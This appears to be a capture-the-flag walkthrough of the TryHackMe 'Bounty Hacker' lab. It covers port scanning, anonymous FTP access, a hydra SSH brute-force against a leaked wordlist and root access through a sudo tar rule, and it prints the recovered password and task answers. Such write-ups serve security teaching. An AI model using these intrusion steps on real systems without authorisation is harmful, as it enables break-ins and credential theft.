

Index

1. Setup
2. Enumeration
3. Gaining Access
4. Privilege Escalation
5. Conclusion

Setup

To begin this challenge, we first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the [Access](#) page.

I'll be using `openvpn` to connect to the server. Here's the command:

```
1 $ sudo openvpn --config NovusEdge.ovpn
```

Enumeration

Now that we're connected to the TryHackMe server, we can proceed with enumerating the target machine. First, we need to check for open ports on the target:

Be sure to deploy the machine before proceeding >.>

```
1 $ sudo nmap -sS -p- -v MACHINE_IP
2 ...
3 ...
4 Discovered open port 80/tcp on MACHINE_IP
5 Discovered open port 22/tcp on MACHINE_IP
6 Discovered open port 21/tcp on MACHINE_IP
7 ...
8 PORT      STATE SERVICE      REASON
9 ...
10 21/tcp    open  ftp          syn-ack ttl 63
11 22/tcp    open  ssh          syn-ack ttl 63
12 80/tcp    open  http         syn-ack ttl 63
13 ...
14 ...
```

We now know that the target machine has 3 open ports: `21`, `22` and `80` for services: `ftp`, `ssh` and `http` respectively.

We can now use this to work our way to gaining access into the target machine...

Gaining Access

Let's first proceed with trying to log into the ftp server on the target using the `ftp` command:

```
1 $ ftp MACHINE_IP
2 Connected to MACHINE_IP.
3 220 (vsFTPd 3.0.3)
4 Name (MACHINE_IP:novusedge): anonymous
5 230 Login successful.
6 Remote system type is UNIX.
7 Using binary mode to transfer files.
8 ftp>
```

Using the username: `anonymous` granted us access to the ftp server. Now we can check for any files that we can grab:

```
1 ftp> ls
2 200 PORT command successful. Consider using PASV.
3 150 Here comes the directory listing.
4 -rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
5 -rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
6 226 Directory send OK.
```

There are 2 files, `locks.txt` and `task.txt`. We can download them to our local machine like so:

```
1 ftp> get locks.txt
2
3 ftp> get task.txt
```

Now, since we have the files, let's exit out, and check the contents of the files thus obtained...

`task.txt`:

```
1 1.) Protect Vicious.
2 2.) Plan for Red Eye pickup on the moon.
3
4 -lin
```

`locks.txt`:

```
1 rEddrAGON
2 ReDdr4gOnSynd!cat3
3 Dr@gOn$yn9icat3
4 R3DDr46ONSYndIC@Te
5 ReddRA6ON
6 R3dDragOnSynd1c4te
7 dRa6oN5YNDiCATE
8 ReDDR4gOn5ynDIc4te
9 R3Dr4gOn2044
10 RedDr4gonSynd1cat3
11 R3dDRaGONsynd1c@T3
12 Synd1c4teDr@gOn
13 reddRAgON
14 REddRaGON5yNdIc47e
15 Dra6oN$yndIC@t3
16 4L1mi6H71StHeB357
```

```

17 rEDdragOn$ynd1c473
18 DrAgoN5ynD1cATE
19 ReDdragOn$ynd1cate
20 Dr@gOn$yND1C4Te
21 RedDr@gonSyn9ic47e
22 REd$yNdIc47e
23 dr@goN5YNd1c@73
24 rEDdrAGOnSyNDiCat3
25 r3ddr@gON
26 ReDSynd1ca7e

```

From the contents of the first file, we get the answer to the third task on the challenge.

Who wrote the task list? > Answer: lin

As the fourth task suggests, the file: `locks.txt` contains possible passwords for the ssh service on the target machine. Assuming that `lin` is the username we use for logging into the ssh server, we can brute-force this by using a tool like `hydra`:

```

1 $ hydra -l lin -P locks.txt MACHINE_IP ssh
2 ...
3 [22][ssh] host: MACHINE_IP login: lin password: RedDr4gonSynd1cat3
4 ...

```

This gives us the answer to fifth task: > What is the users password? > > RedDr4gonSynd1cat3

Let's try logging into the ssh server on the target with the credentials we've obtained:

```

1 $ ssh lin@MACHINE_IP
2 lin@MACHINE_IP's password:
3 Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)
4
5 * Documentation:  https://help.ubuntu.com
6 * Management:    https://landscape.canonical.com
7 * Support:       https://ubuntu.com/advantage
8
9 83 packages can be updated.
10 0 updates are security updates.
11
12 Last login: Thu Jun 23 13:06:21 2022 from 10.11.69.69
13
14 lin@bountyhacker:~/Desktop$

```

We can get the user flag from lin's home directory:

```

1 lin@bountyhacker:~/Desktop$ ls
2 user.txt
3
4 lin@bountyhacker:~/Desktop$ cat user.txt
5 ===R E D A C T E D===

```

This gives us the answer to the 6th task: > user.txt > > `===R E D A C T E D===`

Privilege Escalation

Now that we have a foothold, we can now proceed with getting root privileges :3 First, let's check if we have any commands we can execute with root privileges and no passwords:

```
1 lin@bountyhacker:~/Desktop$ sudo -ll
2 [sudo] password for lin:
3 Matching Defaults entries for lin on bountyhacker:
4     env_reset, mail_badpass,
5     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6
7 User lin may run the following commands on bountyhacker:
8
9 Sudoers entry:
10     RunAsUsers: root
11     Commands:
12     /bin/tar
```

Interesting..We can use the `tar` command as root without passwords. Assuming that the `root.txt` is in the `/root/` directory, we can use the following to create a tar archive of all files in the `/root/` directory in `/home/lin/Desktop`:

```
1 lin@bountyhacker:~/Desktop$ sudo tar -cf files.tar /root
2 tar: Removing leading `/' from member names
3
4 lin@bountyhacker:~/Desktop$ ls
5 files.tar  user.txt
6
7 # Uncompressing the tar archive to get the files:
8 lin@bountyhacker:~/Desktop$ tar -xf files.tar
9 lin@bountyhacker:~/Desktop$ ls -l
10 -rw-r--r-- 1 root root 20480 Jun 23 13:21 files.tar
11 drwx----- 5 lin  lin  4096 Jun  7  2020 root
12 -rw-rw-r-- 1 lin  lin    21 Jun  7  2020 user.txt
13
14 lin@bountyhacker:~/Desktop$ ls -l root/
15 total 4
16 -rw-r--r-- 1 lin lin 19 Jun  7  2020 root.txt
```

We can now just `cat` the contents of our `root.txt` file thus obtained:

```
1 lin@bountyhacker:~/Desktop$ cat root/root.txt
2 ===R E D A C T E D===
```

Done! This gives the answer to the final task.

```
root.txt > ≡≡≡R E D A C T E D≡≡≡
```

Conclusion

I hope this writeup was useful. Personally, I found this room to be quite a fun little experience. If you liked this, please consider dropping a star and/or following me on github:

<https://github.com/NovusEdge>

-
- Room : **Bounty Hacker** by **Sevuh1**
 - Author: Aliasgar Khimani